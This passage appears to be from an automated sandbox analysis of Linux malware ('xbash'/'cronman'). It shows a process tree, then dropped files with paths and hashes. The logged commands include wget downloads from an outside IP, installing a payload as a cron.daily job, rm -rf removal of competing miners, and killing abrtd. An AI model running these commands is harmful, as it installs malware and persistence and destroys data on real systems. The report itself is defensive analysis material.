                                                                                                                                                                                                                                                                                                              rm -rf "/home/*/.local/share/Trash/*/**"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:614
                                                                                                                                                                                                                                                                                                              • rm
                                                                                                                                                                                                                                                                                                                rm -rf "/root/.local/share/Trash/*/**"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:615
                                                                                                                                                                                                                                                                                                                • rm
                                                                                                                                                                                                                                                                                                                  rm -rf "/usr/share/man/??"
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:616
                                                                                                                                                                                                                                                                                                                  • rm
                                                                                                                                                                                                                                                                                                                    rm -rf "/usr/share/man/??_*"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:617
                                                                                                                                                                                                                                                                                                                    • rm
                                                                                                                                                                                                                                                                                                                      rm -rf "/core.*"
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:618
                                                                                                                                                                                                                                                                                                                      • rm
                                                                                                                                                                                                                                                                                                                        rm -fr /root/install
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:619
                                                                                                                                                                                                                                                                                                                        • rm
                                                                                                                                                                                                                                                                                                                          rm -fr /boot/xmrig
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:620
                                                                                                                                                                                                                                                                                                                          • rm
                                                                                                                                                                                                                                                                                                                            rm -fr /root/xmrig
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:621
                                                                                                                                                                                                                                                                                                                            • rm
                                                                                                                                                                                                                                                                                                                              rm -fr /kinettd
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:622
                                                                                                                                                                                                                                                                                                                              • pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 abrtd
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:623
                                                                                                                                                                                                                                                                                                                              • arch
                                                                                                                                                                                                                                                                                                                                arch
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:624
                                                                                                                                                                                                                                                                                                                                • arch
                                                                                                                                                                                                                                                                                                                                  arch
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:625
                                                                                                                                                                                                                                                                                                                                  • arch
                                                                                                                                                                                                                                                                                                                                    arch
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:626
                                                                                                                                                                                                                                                                                                                                    • cat
                                                                                                                                                                                                                                                                                                                                      cat /dev/null
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:627
                                                                                                                                                                                                                                                                                                                                      • rm
                                                                                                                                                                                                                                                                                                                                        rm -fr /root/gcclib
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:628
                                                                                                                                                                                                                                                                                                                                        • rm
                                                                                                                                                                                                                                                                                                                                          rm -fr /usr/spirit
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:629
                                                                                                                                                                                                                                                                                                                                          • rm
                                                                                                                                                                                                                                                                                                                                            rm -fr /root/tmp
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:630
                                                                                                                                                                                                                                                                                                                                            • rm
                                                                                                                                                                                                                                                                                                                                              rm -fr /var/lib/libgcc_a.tar.gz
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:631
                                                                                                                                                                                                                                                                                                                                              • rm
                                                                                                                                                                                                                                                                                                                                                rm -fr /etc/cron.daily/xbash
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:632
                                                                                                                                                                                                                                                                                                                                              • rm
                                                                                                                                                                                                                                                                                                                                                rm -rf /tmp/selfgz331
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:633
                                                                                                                                                                                                                                                                                                                                              • which
                                                                                                                                                                                                                                                                                                                                                which md5sum
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:338
                                                                                                                                                                                                                                                                                                                                                • which
                                                                                                                                                                                                                                                                                                                                                  which shasum
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:340
                                                                                                                                                                                                                                                                                                                                                  • head
                                                                                                                                                                                                                                                                                                                                                    head -n 714 /tmp/xbash
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:343
                                                                                                                                                                                                                                                                                                                                                    • sed
                                                                                                                                                                                                                                                                                                                                                      sed "s/ //g"
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:345
                                                                                                                                                                                                                                                                                                                                                      • wc
                                                                                                                                                                                                                                                                                                                                                        wc -c
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:344
                                                                                                                                                                                                                                                                                                                                                        • cat
                                                                                                                                                                                                                                                                                                                                                          cat /tmp/xbash
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:350
                                                                                                                                                                                                                                                                                                                                                          • wc
                                                                                                                                                                                                                                                                                                                                                            wc -c
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:351
                                                                                                                                                                                                                                                                                                                                                            • sed
                                                                                                                                                                                                                                                                                                                                                              sed "s/ //g"
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:352
                                                                                                                                                                                                                                                                                                                                                              • cut
                                                                                                                                                                                                                                                                                                                                                                cut "-d " -f1
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:356
                                                                                                                                                                                                                                                                                                                                                                • cut
                                                                                                                                                                                                                                                                                                                                                                  cut "-d " -f1
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:360
                                                                                                                                                                                                                                                                                                                                                                  • cut
                                                                                                                                                                                                                                                                                                                                                                    cut "-d " -f1
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:364
                                                                                                                                                                                                                                                                                                                                                                    • cut
                                                                                                                                                                                                                                                                                                                                                                      cut -b-32
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:368
                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                        /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:370
                                                                                                                                                                                                                                                                                                                                                                        • expr
                                                                                                                                                                                                                                                                                                                                                                          expr 4194304 / 4
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:369
                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                            expr 1048576 / 4
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:371
                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                              expr 262144 / 4
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:372
                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                expr 65536 / 4
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:373
                                                                                                                                                                                                                                                                                                                                                                                • expr
                                                                                                                                                                                                                                                                                                                                                                                  expr 34497 / 16384
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:374
                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 "%" 16384
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:375
                                                                                                                                                                                                                                                                                                                                                                                    • dd
                                                                                                                                                                                                                                                                                                                                                                                      dd "ibs=18556" "skip=1" "count=0"
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:377
                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                        expr 0 + 16384
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:378
                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:379
                                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                                            expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:380
                                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                                              expr 16384 / 344
                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:381
                                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                                expr 16384 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:382
                                                                                                                                                                                                                                                                                                                                                                                                • dd
                                                                                                                                                                                                                                                                                                                                                                                                  dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:383
                                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:384
                                                                                                                                                                                                                                                                                                                                                                                                    • expr
                                                                                                                                                                                                                                                                                                                                                                                                      expr 32768 / 344
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:385
                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                        expr 32768 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:386
                                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=1729" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:387
                                                                                                                                                                                                                                                                                                                                                                                                          • head
                                                                                                                                                                                                                                                                                                                                                                                                            head -n 714 /tmp/xbash
                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:391
                                                                                                                                                                                                                                                                                                                                                                                                            • wc
                                                                                                                                                                                                                                                                                                                                                                                                              wc -c
                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:392
                                                                                                                                                                                                                                                                                                                                                                                                              • sed
                                                                                                                                                                                                                                                                                                                                                                                                                sed "s/ //g"
                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:393
                                                                                                                                                                                                                                                                                                                                                                                                                • df
                                                                                                                                                                                                                                                                                                                                                                                                                  df -k /tmp/selfgz331
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:396
                                                                                                                                                                                                                                                                                                                                                                                                                  • tail
                                                                                                                                                                                                                                                                                                                                                                                                                    tail -1
                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:397
                                                                                                                                                                                                                                                                                                                                                                                                                    • awk
                                                                                                                                                                                                                                                                                                                                                                                                                      awk "{ if (\$4 ~ /%/) {print \$3} else {print \$4} }"
                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:398
                                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                                        expr 4194304 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:402
                                                                                                                                                                                                                                                                                                                                                                                                                        • gzip
                                                                                                                                                                                                                                                                                                                                                                                                                          gzip -cd
                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:403
                                                                                                                                                                                                                                                                                                                                                                                                                          • tar
                                                                                                                                                                                                                                                                                                                                                                                                                            tar xpvf -
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:404
                                                                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                                                                            expr 1048576 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:405
                                                                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                                                                              expr 262144 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:406
                                                                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                expr 65536 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:407
                                                                                                                                                                                                                                                                                                                                                                                                                                • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                  expr 34497 / 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:408
                                                                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 "%" 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:409
                                                                                                                                                                                                                                                                                                                                                                                                                                    • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                      dd "ibs=18556" "skip=1" "count=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:411
                                                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                        expr 0 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:412
                                                                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:413
                                                                                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                            expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:414
                                                                                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                              expr 16384 / 344
                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:415
                                                                                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                expr 16384 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:416
                                                                                                                                                                                                                                                                                                                                                                                                                                                • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                                  dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:417
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:418
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                      expr 32768 / 344
                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:419
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                        expr 32768 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:420
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=1729" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:421
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • dirname
                                                                                                                                                                                                                                                                                                                                                                                                                                                            dirname ./cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:426
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • ps
                                                                                                                                                                                                                                                                                                                                                                                                                                                              ps cax
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:429
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                              grep cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:430
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • wc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                wc -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:431
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • dirname
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dirname ./cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:442
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sed -r "s/ //g"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:451
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sed -r "s#(http?://)?([^/]+)(.*)#\\15.133.65.53\\3#"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:454
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wget -h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:455
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          grep -q -- --tries
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wget "--timeout=2" "--tries=3" -O /tmp/selfgz331/tmp.file http://5.133.65.53/soft/linux/cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:457
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • cat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            cat /tmp/selfgz331/tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:458
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • mv
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              mv -f /tmp/selfgz331/tmp.file /tmp/selfgz331/.cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:459
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • chmod
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              chmod 755 /tmp/selfgz331/.cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sed -r "s/ //g"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:465
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sed -r "s#(http?://)?([^/]+)(.*)#\\15.133.65.53\\3#"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wget -h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:469
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      grep -q -- --tries
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:470
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wget "--timeout=2" "--tries=3" -O /tmp/selfgz331/tmp.file http://5.133.65.53/soft/linux/xbash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:471
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • cat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cat /tmp/selfgz331/tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • mkdir
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          mkdir -p /root/gcclib
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:473
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • date
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            date "+%F %T"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:474
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • mv
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              mv -f /tmp/selfgz331/tmp.file /etc/cron.daily/xbash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:475
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • chmod
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                chmod 755 /etc/cron.daily/xbash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • dirname
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dirname /tmp/selfgz331/.cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:481
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • ps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ps cax
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    grep -v grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:485
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      grep cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:487
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:486
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • wc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wc -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:488

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cronman.pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /etc/xbash/cronman.pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 4B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 d09aa8346d420f76dfd2a63d40d19e352d11668352401d5ce43e1e70c333f681
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                date
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /root/gcclib/date
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 20B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 c969560e5bdcd7886fccddb01196c42dc1d947148dfef13be53ab0da26c3d915
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /tmp/selfgz331/cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 193KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 98b80efb680949f2b94a7ecce911ae84037c30d1cb739eb43778ed3be5121655
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /tmp/selfgz331/tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 216KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 07ccee82020246c09d64f9433fb547753bd8777ca4df4fb6cf19a2fa7a5aa916
